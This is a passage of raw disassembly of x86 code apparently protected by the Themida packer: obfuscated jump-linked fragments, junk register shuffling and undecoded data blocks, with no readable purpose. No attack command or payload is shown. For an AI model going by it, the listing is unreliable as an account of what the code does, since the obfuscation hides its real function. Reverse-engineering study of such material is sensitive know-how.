51A900D5h jmp loc_564AE1 ; --------------------------------------------------------------------------- dd offset dword_53A058+210h dw 8900h dd 0E389241Ch, 4C381h, 0BA520000h, 4, 0FFFC0DE9h, 2414F7FFh dd 658FE9h, 2F673500h, 0C3897F36h, 0FFB00DE9h, 476BAFFh dd 0DA011630h, 0FFD937E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C5E1: ; CODE XREF: Themida_:00562534j not dword ptr [esp] pop ebp push ebx push ebp pop ebx pop ebp xchg ebx, esi inc esi jmp loc_56830D ; --------------------------------------------------------------------------- db 31h, 0CAh, 0E9h dd 0FFFF708Bh ; --------------------------------------------------------------------------- loc_56C5F8: ; CODE XREF: Themida_:0056E888j push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp push esi jmp loc_569BCA ; --------------------------------------------------------------------------- loc_56C60A: ; CODE XREF: Themida_:0057197Bj mov edi, 66F42050h add [esp+4], edi jmp loc_570855 ; --------------------------------------------------------------------------- dd 0D3B55152h, 0FFC371E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C621: ; CODE XREF: Themida_:0056EC1Cj push eax mov eax, 4 add edx, 3A8769D3h add edx, eax sub edx, 3A8769D3h pop eax push esi sub esp, 4 mov [esp], eax mov eax, esp push esi mov esi, 9340293h shl esi, 6 shl esi, 3 inc esi sub esi, 680525FDh add eax, esi pop esi jmp loc_5626D6 ; --------------------------------------------------------------------------- db 31h, 0CFh, 8Bh dd 3AE9240Ch, 66FFFF61h, 660CD8BEh, 0E6816646h, 74E9401Ah dd 81FFFFCCh, 1A2EF3C1h, 8506E979h, 5A66FFFFh, 8601EB80h dd 64B050D9h, 412CA72Ch, 4107E9h, 0F7D9F700h, 0B9E981D9h dd 2950470Eh, 3D6859CBh, 89000031h, 6C682414h, 89000042h dd 6DBB241Ch, 0C1619F46h, 0EC8306E3h, 241C8904h, 5B241CF7h dd 6579E381h, 0F3814CFAh, 172E2B0Eh, 8904EC83h, 14F7241Ch dd 0EB815B24h, 6E1D42B6h, 89D98951h, 0DEE959CAh, 0FFFFFF7Ch dd 0FF042474h, 0E95F2434h, 0FFFFF6F1h, 0DA0DD0F7h, 0C13C4D1Fh dd 0CF2D03E8h, 9C81F48h, 0EAC158C2h, 14875205h, 52D2F724h dd 42474FFh, 24048F5Ah, 0E92434FFh, 0FFFFF8C3h, 4C481h dd 89680000h, 89000064h, 68B82404h, 543481Ah, 0BCB7E59Ch dd 48E468h, 24148900h, 367AF6BAh, 0B6F2814Dh, 0E95ACA30h dd 0FFFFC057h, 6CD2EB81h, 4FE963A3h, 68FFFF6Ah, 179Ch dd 4323E9h, 5AD12100h, 0FFFB35E9h, 2434FFFFh, 8744E95Fh dd 0C781FFFFh, 4, 0FFE8F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C785: ; CODE XREF: Themida_:0056B4B8j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56AC8E ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 1921E924h, 56530000h, 0FF9D43E9h dd 6CEB81FFh, 5F1F9034h, 61B5BD55h, 0C58136DCh, 0A06195Ah dd 665DEB01h, 0D0E930FFh, 59FFFF37h, 0DF98E956h, 248BFFFFh dd 8BD02124h, 58682414h, 89000064h, 0A7E9240Ch db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C7EB: ; CODE XREF: Themida_:0056716Ej pop esp jmp loc_56DAA9 ; --------------------------------------------------------------------------- db 5, 90h, 61h dd 0F0293432h, 3261902Dh, 0D8015E34h, 770CE505h, 0F3E95B31h dd 5CFFFFCEh, 34FFCB29h, 0B5E95924h, 0BEFFFF51h, 8AD62B2h dd 0E906E6C1h, 0FFFF7AE3h ; --------------------------------------------------------------------------- loc_56C824: ; CODE XREF: Themida_:00573ABAj mov eax, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_56EE8A ; --------------------------------------------------------------------------- loc_56C83E: ; CODE XREF: Themida_:00565686j sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push ebx push 4 pop ebx add edi, ebx pop ebx xchg edi, [esp] pop esp jmp loc_5690C5 ; --------------------------------------------------------------------------- loc_56C862: ; CODE XREF: Themida_:0056E8D1j push 1C706EF9h pop edx sub edi, edx mov edx, [esp] jmp loc_563824 ; --------------------------------------------------------------------------- loc_56C872: ; CODE XREF: Themida_:00574891j xor edx, 6D704CB3h push eax mov eax, 0FFFFFFFFh jmp loc_561BAE ; --------------------------------------------------------------------------- db 8Bh dd 2EE9243Ch db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C88B: ; CODE XREF: Themida_:00562336j push eax jmp loc_56A9EE ; --------------------------------------------------------------------------- loc_56C891: ; CODE XREF: Themida_:0056FE32j xor edx, 210E6A74h jmp loc_566C6B ; --------------------------------------------------------------------------- loc_56C89C: ; CODE XREF: Themida_:005694F4j xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx pop dword ptr [edi+20h] jmp loc_57529E ; --------------------------------------------------------------------------- loc_56C8B0: ; CODE XREF: Themida_:0057469Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_5743F3 ; --------------------------------------------------------------------------- loc_56C8CE: ; CODE XREF: Themida_:00560688j mov edx, esp add edx, 4 add edx, 4 jmp loc_5721BB ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 92AE9h db 0 ; --------------------------------------------------------------------------- loc_56C8E9: ; CODE XREF: Themida_:00571CDEj xor [esp], edi xor edi, [esp] mov esp, [esp] shr esi, 3 push ecx mov ecx, 0B5C2623h add esi, ecx jmp loc_567584 ; --------------------------------------------------------------------------- dw 0BF57h dd 4, 0E95FF901h, 1EE2h ; --------------------------------------------------------------------------- loc_56C910: ; CODE XREF: Themida_:00561647j pop esp push 674Ch mov [esp], ebx mov ebx, 47A2B0Ch add ebx, 1 jmp loc_5657CF ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0E9D7015Ch, 3397h, 14B9C281h, 0CA8110A6h, 57E6075Eh dd 1B07EA81h, 0C681A7B8h, 768C4A0Fh, 38E9D629h, 5FFFF39h dd 4, 0FFCAABE9h, 8BD129FFh, 0C4812414h, 4, 50BFE9h db 0 ; --------------------------------------------------------------------------- loc_56C96D: ; CODE XREF: Themida_:005619AAj mov esi, esp push eax jmp loc_56B1E4 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4EC81h, 14890000h, 4BA24h, 54010000h, 0E95A0424h, 0FFFF57C1h dd 5E2434FFh, 5304C483h, 4EC81h, 24890000h, 0B8505324h dd 7F362F63h, 0FFFC1CE9h, 22C781FFh, 891EB84Ah, 0E8015FFDh dd 5D2434FFh, 81E28952h, 4C2h, 9FDAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C9CA: ; CODE XREF: Themida_:0056A9E9j dec edx dec edx xor edx, 50531B8Dh jmp loc_57536E ; --------------------------------------------------------------------------- db 0F7h dd 9BEE81D6h, 0E9D7FFB3h, 3DCFh, 81242C8Bh, 4C4h, 25256800h dd 1C890000h, 367BE924h, 0E7800000h, 6E64E949h db 2 dup(0FFh) word_56CA02 dw 77FFh ; DATA XREF: Themida_:0055FF38o dd 59669D1Ch, 9C241CD3h, 0FF358EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56CA11: ; CODE XREF: Themida_:00574C87j sub esi, 30C3134Ah pop ebx sub esp, 4 jmp loc_5601A8 ; --------------------------------------------------------------------------- loc_56CA20: ; CODE XREF: Themida_:0057447Cj add esp, 4 push eax mov eax, ebp mov [edi+20h], eax jmp loc_57528D ; --------------------------------------------------------------------------- loc_56CA31: ; CODE XREF: Themida_:00569EEBj add eax, edi sub eax, 0C7C37FBh pop edi push edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] shr ecx, 6 sub esp, 4 mov [esp], edi jmp loc_573F9D ; --------------------------------------------------------------------------- db 1 dd 0A6B951EEh, 815F1344h, 6C6B30F1h, 0E9CE294Eh, 0FFFF903Dh dd 0B951D501h, 294C7FDFh, 42BA68h, 24348900h, 0FFB034E9h dd 8BD831FFh, 0EE9241Ch, 6800004Fh, 310F42EAh, 83240C8Bh dd 0D9F704C4h, 57D1F749h, 0CA4993BFh, 6CB9E92Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CAAA: ; CODE XREF: Themida_:005686E0j pop esi sub esi, 0E701ADBh jmp loc_56616D ; --------------------------------------------------------------------------- dw 0C683h dd 24348704h, 4C4815Ch, 53000000h, 0E40561BBh, 0D6DE92Bh dd 0C7800000h, 2E7C001h, 80FBC780h, 0EF8055CFh, 0D3B55101h dd 0E904EDC0h, 0FFFFD52Eh ; --------------------------------------------------------------------------- loc_56CAE8: ; CODE XREF: Themida_:0056C53Bj pop ecx xor esi, 222D64A6h shl esi, 4 shl esi, 7 push 3349h mov [esp], eax jmp loc_56E289 ; --------------------------------------------------------------------------- aRith?r db 'R‰âh?R',0 align 2 dw 1C89h dd 11A8BB24h, 0ACE97FA2h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CB17: ; CODE XREF: Themida_:00560057j mov ebp, 34B36A59h not ebp xor ebp, 0C730A25Dh jmp loc_569EE8 ; --------------------------------------------------------------------------- db 68h, 82h, 7Fh dd 0C890000h, 0E9E18924h, 217Bh, 560D51BAh, 0DFF2815Bh dd 0F71FC969h, 0E9D2F7DAh, 635Ah ; --------------------------------------------------------------------------- loc_56CB4C: ; CODE XREF: Themida_:005673D8j xchg ebp, [esp] pop esp jmp loc_573B27 ; --------------------------------------------------------------------------- loc_56CB55: ; CODE XREF: Themida_:0056203Ej push eax neg dword ptr [esp] pop eax or eax, 3A830EBCh sub eax, 3BCE9FAh sub ebp, eax pop eax sub edx, ebp pop ebp add ecx, edx push dword ptr [esp] pop edx push ebp jmp loc_572B1E ; --------------------------------------------------------------------------- dw 481h dd 333CD324h, 24042941h, 0D3242C81h, 0E941333Ch, 0FFFF97E6h ; --------------------------------------------------------------------------- loc_56CB8C: ; CODE XREF: Themida_:0056457Dj xor eax, 55792BD5h sub eax, 95799FD5h mov ebx, eax push dword ptr [esp] pop eax add esp, 4 and eax, ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], eax mov eax, esp push edi mov edi, 125423FAh and edi, 4015563Ah add edi, 0FFEBFDCAh add eax, edi jmp loc_571A78 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815A24h, 4, 0FF7C6DE9h, 0F9A005FFh, 0D4E9A9C7h, 89FFFFCFh dd 2FE468E5h, 14890000h, 402E924h db 2 dup(0) word_56CBEE dw 31ADh ; DATA XREF: Themida_:0055FD4Co dd 1B0368D8h, 52E90000h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CBFB: ; CODE XREF: Themida_:00566981j xor edx, eax push eax jmp loc_571862 ; --------------------------------------------------------------------------- loc_56CC03: ; CODE XREF: Themida_:005712E6j mov ebx, [esp] add esp, 4 push dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_55FF9F ; --------------------------------------------------------------------------- db 0BBh, 2 dup(0) dd 0D3010000h, 1C8B038Bh, 23E95724h, 28FFFFCBh, 509DE9D8h db 2 dup(0) word_56CC46 dw 34FFh ; DATA XREF: Themida_:0055FEA8o dd 2434FF24h, 0FF6CBCE9h, 9DBE56FFh, 810C92BDh, 67634EC2h dd 81F2296Ch, 67634EEAh, 0ED815E6Ch, 3536057Dh, 55E9D529h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CC73: ; CODE XREF: Themida_:00568293j mov eax, 2FD82560h xor eax, 7B9A1340h jmp loc_5712EB ; --------------------------------------------------------------------------- dw 3C89h dd 2414F724h, 677FE9h, 81DE0100h, 2D307EC6h, 0B8505B0Fh dd 4, 67E9C629h, 29FFFFE0h, 64ED81CDh, 59092908h, 6984ED81h dd 0F5E9378Ah, 900000Bh, 0E9581C47h, 0FFFF32DFh, 9D4B43B8h dd 58C78907h, 9B1F781h, 0C381293Ch, 1F90346Ch, 0D6E9FB01h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CCDB: ; CODE XREF: Themida_:005670E9j push ecx mov ecx, 13A07F37h or ebp, ecx pop ecx neg ebp not ebp inc ebp add ebp, 0E45B808Dh jmp loc_56695F ; --------------------------------------------------------------------------- dd 0ED676868h, 0E3815B3Bh, 41E20CEh, 0EBEE9h, 240C8B00h dd 4EC81h, 21E90000h db 10h, 2 dup(0) byte_56CD13 db 0FFh ; DATA XREF: Themida_:0055FE64o dd 0FF042474h, 48B2434h, 0E6E8E924h, 685CFFFFh, 1248h dd 53240C89h, 0B7332FBBh, 5BD98918h, 0FFA401E9h, 19EA81FFh dd 13C5F56h, 19C281F2h, 5E3C5F56h, 8904EC83h, 74FF2414h dd 8F5A0424h, 4EE92404h, 0F6FFFFD6h, 0F65166DDh, 0E901245Ch dd 5CEAh, 0A157C02Dh, 0BC354815h, 29116564h, 654EE9C6h dd 0E0C1FFFFh, 0BFE7E905h, 0E95CFFFFh, 3AC0h, 8BE9015Fh dd 0C481242Ch, 4, 735568h, 24348900h, 2BEh, 13E98100h dd 0E9616B14h, 0FFFFC7D0h, 158C389h, 2434FFDAh, 4EC835Bh dd 0FFEF68E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CDBD: ; CODE XREF: Themida_:0056EE64j xor edx, 14D22360h add edx, 1 jmp loc_56C38F ; --------------------------------------------------------------------------- loc_56CDCB: ; CODE XREF: Themida_:00565F7Dj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_573B6C ; --------------------------------------------------------------------------- loc_56CDFE: ; CODE XREF: Themida_:00564A63j mov [esp], edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] pop esp div ecx sub esp, 4 mov [esp], ecx jmp loc_567C45 ; --------------------------------------------------------------------------- loc_56CE1F: ; CODE XREF: Themida_:00573B6Fj xor [esp], ebx xor ebx, [esp] jmp loc_564A62 ; --------------------------------------------------------------------------- dw 34FFh dd 2E95F24h, 89FFFF3Ch, 0A972E9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CE3A: ; CODE XREF: Themida_:0056159Fj pop ebx add eax, 2 xchg eax, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_56E928 ; --------------------------------------------------------------------------- loc_56CE4E: ; CODE XREF: Themida_:005638E7j mov [esp], esi jmp loc_564679 ; --------------------------------------------------------------------------- dw 0E958h dd 57Eh, 0E958E328h, 5B0Ch ; --------------------------------------------------------------------------- loc_56CE64: ; CODE XREF: Themida_:005659DDj mov esi, [esp] add esp, 4 loc_56CE6D: ; CODE XREF: Themida_:00573741j push 24C0h mov [esp], esi mov esi, esp push eax mov eax, 34753A40h jmp loc_56C133 ; --------------------------------------------------------------------------- dw 0E828h dd 2434FF59h, 83241C8Bh, 895704C4h, 4C781E7h, 83000000h dd 3C8704C7h, 0EC815C24h, 4, 52240C89h, 7A9CE9h, 2B000h dd 665866C3h, 66746168h, 0B4240489h, 0F5EC8092h, 5866E328h dd 4EE95158h, 29FFFFE9h, 24ADE9D6h, 0BE560000h, 5C452B64h dd 90CEE81h, 0CE814B3Dh, 7A684BD8h, 4155F681h, 0F1314F39h dd 0EBE9815Eh, 29684411h, 240C8BCEh, 0FFCBA6E9h, 55E689FFh dd 4BDh, 5DEE0100h, 1D3ABB53h, 0EB8103DEh, 3DE1D36h, 0FEE9DE01h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CF1B: ; CODE XREF: Themida_:0056EA5Aj neg ecx shr ecx, 5 shr ecx, 3 xor ecx, 25943F3Ah push edi mov edi, 366B6EA2h add edi, 0EF0975F0h sub ecx, edi jmp loc_5605EC ; --------------------------------------------------------------------------- dd 4446C0BBh, 0B3EEE91Ah, 34FFFFFFh, 5ECF6887h, 1C890000h dd 12C16824h, 2C890000h, 17836824h, 23E9607Ch, 5800001Ch dd 4D4CBF57h, 0EFC1606Fh, 4CC5E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CF72: ; CODE XREF: Themida_:00565D86j pop edx sub ebx, eax mov eax, [esp] jmp loc_572199 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0EDh dd 55741940h, 516C7CBDh, 0E9DDF70Dh, 78BDh, 8B241487h dd 0E2E92424h, 0BEFFFF62h, 0 dd 9FE9EE29h, 0B7FFFF90h, 721EE9E7h, 0EE01FFFFh, 81242C8Bh dd 4C4h, 4C68300h, 8B243487h, 54552424h, 6855515Dh, 1884647h dd 0C581455Dh, 0FE77B9BCh, 0C802E955h, 48FFFFFh, 89665C24h dd 50662414h, 2FB5E99Ch, 0E952FFFFh, 7E67h, 346068h, 241C8900h dd 757BB7BBh, 844DBA30h, 0DA01CF8Ah, 3B75E9h db 0 ; --------------------------------------------------------------------------- loc_56D009: ; CODE XREF: Themida_:00570515j xchg eax, edi not eax xchg eax, edi jmp loc_566D73 ; --------------------------------------------------------------------------- loc_56D012: ; CODE XREF: Themida_:0056B0CFj push 36E9h mov [esp], ebx mov ebx, 2B7937ECh push 0 sub [esp], ebx pop ebx neg ebx sub ebx, 2B7937E8h sub ecx, 0A8F50B6h add ecx, 2B1D0051h add ecx, ebx jmp loc_56E66A ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 8B24048Fh, 525F2424h, 614B74BAh, 35BE5631h dd 0E9787225h, 2190h, 14EB81h, 35E96BE7h, 5FFFFADh, 4 dd 2474FF50h, 44E6E904h, 0E189FFFFh, 4C181h, 0E9810000h dd 4, 5C240C87h, 0FF448DE9h, 0E9D0F7FFh, 382Fh ; --------------------------------------------------------------------------- loc_56D098: ; CODE XREF: Themida_:0056FF74j sub ebp, edx pop edx sub ebp, 38054438h add ebp, ecx push ecx mov ecx, 38054438h add ebp, ecx mov ecx, [esp] add esp, 4 push edi jmp loc_574B15 ; --------------------------------------------------------------------------- db 55h dd 442FB9BDh, 5DEF2968h, 0B56BEF81h, 0FD29A069h, 0B2C5815Fh dd 111B861h, 0B2ED81C5h, 8111B861h, 1D6CECC5h, 24048B39h dd 3304C483h, 2C31242Ch, 242C3324h, 0F624248Bh, 0B60F66F1h dd 0E78957CCh, 4BB53h, 0DF010000h, 4EF835Bh, 8B243C87h dd 2C892424h, 2C8B5424h, 4C48124h, 0E9000000h, 76B0h, 0ADE9EE31h dd 87000006h, 248B2414h, 22B95124h, 111C904h, 0E904244Ch dd 0FFFFB235h, 3A55E95Fh, 0E1BDFFFFh, 811F9D43h, 154AF5EDh dd 0CD58E93Fh, 0D2F7FFFFh, 0FFB375E9h, 54F781FFh, 0F70CC51Bh dd 3F9CE9DFh, 1489FFFFh, 0ADBD5524h, 0E9536E38h, 0FFFFD228h ; --------------------------------------------------------------------------- loc_56D170: ; CODE XREF: Themida_:005689BDj pop eax add al, 0BFh sub al, bl sub al, 0BFh push dword ptr [esp] pop ebx push 750Eh mov [esp], ebp push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi push esi mov esi, 4 add ebp, esi mov esi, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 jmp loc_56E826 ; --------------------------------------------------------------------------- dw 0E089h dd 4D0E9h, 56D23100h, 31A568h, 24148900h, 8953DA89h, 5BDE89D3h dd 0FF96C5E9h, 0CE095DFFh, 0FF9DE9E9h, 0C8BB53FFh, 434C083Bh dd 5D0AE381h, 0F3814482h, 2B223E06h, 0F708EBC1h, 0D2C381DBh dd 1B231A6h, 7592E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D202: ; CODE XREF: Themida_:0056664Ej add eax, 713620Ch add eax, edi sub eax, 713620Ch jmp loc_567B29 ; --------------------------------------------------------------------------- db 33h dd 815C2404h, 4C4h, 4C08300h, 5C240487h, 582434FFh, 4EC81h dd 3C890000h, 515F5424h, 0C41820B9h, 7E685022h, 0E9000002h dd 0FFFFDF1Bh, 0E46EA81h, 68534683h, 1BD1h, 68240489h dd 3A6D2BCAh, 8124048Bh, 4C4h, 7E8C100h, 624FD235h, 7AFDE97Fh dd 48FFFFFh, 24248B24h, 81C8B70Fh, 4ECh, 242C8900h, 0C581E589h dd 4, 4EC81h, 4890000h, 83BD5524h, 55466C52h, 0EB744C68h dd 0C5815D68h, 0DD80DE3Bh, 0D0E9E889h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D2AB: ; CODE XREF: Themida_:0057359Bj sub ebx, eax pop eax pop edi sub ebx, ebp add ebx, 4F6411B7h push dword ptr [esp] jmp loc_56BCCC ; --------------------------------------------------------------------------- loc_56D2BF: ; CODE XREF: Themida_:00569D98j or ecx, 72960BEEh shr ecx, 8 push 0 jmp loc_56EADA ; --------------------------------------------------------------------------- dw 8153h dd 267D242Ch, 48B70EAh, 4C48324h, 0FFCE34E9h, 5DEB29FFh dd 0FF5D51E9h, 0A6E95BFFh, 5EFFFFA5h, 8B24048Fh, 0EC832424h dd 243C8904h, 14768h, 24248900h, 4240483h, 5F2434FFh, 5771E9h dd 0E97EB600h, 369Ch, 41242C81h, 8B72CF66h, 0C483240Ch dd 41C18104h, 5A72CF66h, 0A0BBB53h, 0FBE914B5h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D33B: ; CODE XREF: Themida_:005654A9j pop eax add esp, 4 mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push edi mov edi, 4B6E02CDh jmp loc_564F6C ; --------------------------------------------------------------------------- byte_56D359 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055FE14o dd offset dword_55F8CC+1Dh db 0 ; --------------------------------------------------------------------------- loc_56D361: ; CODE XREF: Themida_:00570443j push esi mov esi, 505C6FF0h not esi push edx jmp loc_56C4F3 ; --------------------------------------------------------------------------- db 50h dd 405E089h, 5000000h, 4, 5C240487h, 5C243C87h, 0E91C6F09h dd 28F7h, 0BD3435BBh, 6E3C162h, 2EDC68h, 7F4CE900h, 0D9010000h dd 0BE565A5Bh, 2, 8FE9F101h db 0BDh, 2 dup(0FFh) byte_56D3AF db 0FFh ; DATA XREF: Themida_:0055FDACo dd 8E92434h db 17h, 2 dup(0) byte_56D3B7 db 0FFh ; DATA XREF: Themida_:0055FDCCo dd 83582434h, 348904ECh, 0AE0EE924h, 814DFFFFh, 733010F5h dd 1EC28153h, 12D615Ch, 3C81E9EAh, 0F9010000h, 240C335Fh dd 33240C31h, 5C240Ch, 0E99C2404h, 0FFFF2BAFh ; --------------------------------------------------------------------------- loc_56D3F0: ; CODE XREF: Themida_:005603C5j pop esp mov [esp], ecx mov cl, 19h jmp loc_56309C ; --------------------------------------------------------------------------- db 1 aSK db 'Èé%k',0 align 2 dw 0C483h dd 4C78104h, 83000000h, 0E95704C7h, 0FFFFFC2Fh dword_56D414 dd 24048B66h, 7CE568h, 240C8900h, 0E904EC83h, 4052h ; DATA XREF: Themida_:0055FF24o ; --------------------------------------------------------------------------- loc_56D428: ; CODE XREF: Themida_:00568809j xchg ebx, [esp] mov esp, [esp] push 7BE7h mov [esp], ebp push edi mov edi, 3FA22636h shl edi, 3 shl edi, 4 jmp loc_571FBD ; --------------------------------------------------------------------------- db 5Ch dd 0B8240489h, 4, 0FF69FBE9h db 0FFh byte_56D455 db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:0055FF0Co dd 4EC8102h, 0E9000000h, 0FFFF85B1h dword_56D464 dd 4EC81h, 20E90000h, 8BFFFF34h, 0C4832434h, 4C48304h ; DATA XREF: Themida_:0055FCE0o dd 271EE12Dh, 0A8E4E96Ah, 0C181FFFFh, 9D83F363h, 0C159CE21h dd 835503EEh, 348904ECh, 6BBDBE24h, 46464D60h, 2FC3B850h dd 0C631337Dh, 8324048Bh, 815604C4h, 10B2434h, 0E95D30E9h dd 0FFFF4A67h, 4BD55h, 0EE010000h, 81242C8Bh, 4C4h, 24348700h dd 55E9815Ch, 417DBB36h, 28268h, 242C8900h, 145640BDh dd 5DE92150h, 0A15CE957h, 0DFF7FFFFh, 44B4E9h, 65CA3500h dd 2EE94CA6h, 51000068h, 3E9E189h, 59FFFF90h, 5704C783h dd 0FFA00FE9h, 0F3EA81FFh, 89ABB2D2h, 53575AD5h, 0EC4E62BBh dd 9E95255h, 89000060h, 0DDBE2434h, 8135B243h, 8B7DE3E6h dd 3E6C160h, 0EED1DEF7h, 6344EE81h, 0C6811588h, 16D46F13h dd 0E95EF309h, 0FFFFDE00h, 0E9243433h, 0FFFF86CEh ; --------------------------------------------------------------------------- loc_56D554: ; CODE XREF: Themida_:00561BC0j add ebx, ebp jmp loc_565D36 ; --------------------------------------------------------------------------- db 47h dd 4937B850h, 0C7093DA6h, 0EB16E958h, 4429FFFFh, 6D680424h dd 8900000Ah, 0BF57242Ch, 548047F4h, 15FFD89h, 5D08246Ch dd 648E9h, 74BB5300h, 0E9147640h, 4133h, 5304C483h, 42474FFh dd 24048F5Bh, 5B43E9h, 6B95100h, 815F0A36h, 0A3602E9h dd 2CECE95Fh, 48BFFFFh, 4C48324h, 2C381h, 0CFE90000h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D5C7: ; CODE XREF: Themida_:00564607j pop edi jmp loc_56BBB3 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0FEh dd 89000000h, 77215FFEh, 2434FF1Ch, 5E2434FFh, 0E29BE957h dd 1489FFFFh, 53555024h, 0A27181BBh, 0C42BBD49h, 0DD29A9EEh dd 0C516E95Bh, 4FFFFFFh, 52D8E924h, 0C4830000h, 0FC90B04h dd 0FF834384h, 5E5456FFh, 4C681h, 0C6E90000h, 1000066h dd 3CC181D9h, 6859BE03h, 7348h, 0E9243C89h, 0FFFF62E3h ; --------------------------------------------------------------------------- loc_56D634: ; CODE XREF: Themida_:0056AA26j and edi, 539865F4h sub edi, 0F20C1855h xor eax, edi jmp loc_5677A6 ; --------------------------------------------------------------------------- db 81h dd 0D93622C7h, 241C8B53h, 6804C483h, 5C00h, 52243489h dd 0FC6AD368h, 0CA815A32h, 0F0543BBh, 0CA81D2F7h, 0A48390Dh dd 5C31C281h, 0D689544Bh, 4EC815Ah, 89000000h, 0BF57240Ch dd 21B154C3h, 0FFF0D2E9h, 405FFh, 0E8830000h, 24048704h dd 13C2E9h db 0 byte_56D69D db 0ADh, 83h, 0ECh ; DATA XREF: Themida_:0055FD24o dd 24148904h, 227350BAh, 33152D15h, 0D0296D89h, 89331505h dd 65055A6Dh, 29126F74h, 74652DD8h, 5C68126Fh, 89000010h dd 50BF243Ch, 68152273h, 1AE7h, 52242C89h, 515DE9h, 0FB85000h dd 0D73C87Dh, 3C440D48h, 0FFA2B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D6ED: ; CODE XREF: Themida_:0056F58Cj add esp, 4 sub edx, 0F7A28A87h mov edi, edx pop edx jmp loc_56E988 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 0E7895751h, 4C781h, 0EF830000h, 243C3304h, 33243C31h dd 0E95C243Ch, 0FFFFA3DBh, 8104EDC1h, 1A090AC5h, 5DEA01D2h dd 3577EF81h, 0D72966F6h, 3577C781h, 0E95A66F6h, 0FFFF4299h dd 5A24FDBFh, 247C012Ah, 4C015F08h, 0B9510424h, 2A5A24FDh dd 0FF6657E9h, 4C781FFh, 53000000h, 4BBh, 0E9DF0100h, 43F9h ; --------------------------------------------------------------------------- loc_56D76C: ; CODE XREF: Themida_:00564360j push esi mov esi, 6BFD00F2h jmp loc_5721CD ; --------------------------------------------------------------------------- loc_56D777: ; CODE XREF: Themida_:0056B331j pop edx add edx, 4 jmp loc_5644A2 ; --------------------------------------------------------------------------- db 0BDh dd 0C7236CFh, 6BD4E9h, 0BA525900h, 10B4039h, 552DF281h dd 0EC812A7Ch, 4, 0BB241C89h, 50107BA3h, 1C8BDA21h, 4C48124h dd 0E9000000h, 4639h, 6568h, 243C8900h, 180DE9h db 0 ; --------------------------------------------------------------------------- loc_56D7C5: ; CODE XREF: Themida_:00566CD1j pop dword ptr [edx+38h] mov ebx, [esp] jmp loc_56594E ; --------------------------------------------------------------------------- dd 8BF5895Dh, 0C4832434h, 2B95104h, 0F74CC131h, 0DDBBE9D1h dd 0E953FFFFh, 5B1Bh ; --------------------------------------------------------------------------- loc_56D7EC: ; CODE XREF: Themida_:005668BFj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_573337 ; --------------------------------------------------------------------------- db 1 dd 0C2C781CFh, 596CFE34h, 3B6FBE56h, 0C68172C1h, 3CA85FDEh dd 0E906EEC1h, 0FFFFE1C6h, 83241C8Bh, 4AE904C4h, 68000005h dd 3772h, 0FFC0CFE9h, 24048FFFh, 150AE9h, 49E95200h, 81000025h dd 15688ECBh, 43DBF718h, 0A4F0C381h, 0E3C1551Eh, 3EBC106h dd 2A19E9h db 0 byte_56D855 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FE44o dd 31E95024h, 68FFFF3Ch, 0BBFh, 0B3241C89h, 8BD830BBh dd 0C483241Ch, 0A5EEE904h, 8B54FFFFh, 0C481243Ch, 4, 0FF6362E9h dd 0FFFB29FFh, 565F2434h, 0E9E689h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D893: ; CODE XREF: Themida_:00564238j xchg ebp, [esp] pop esp 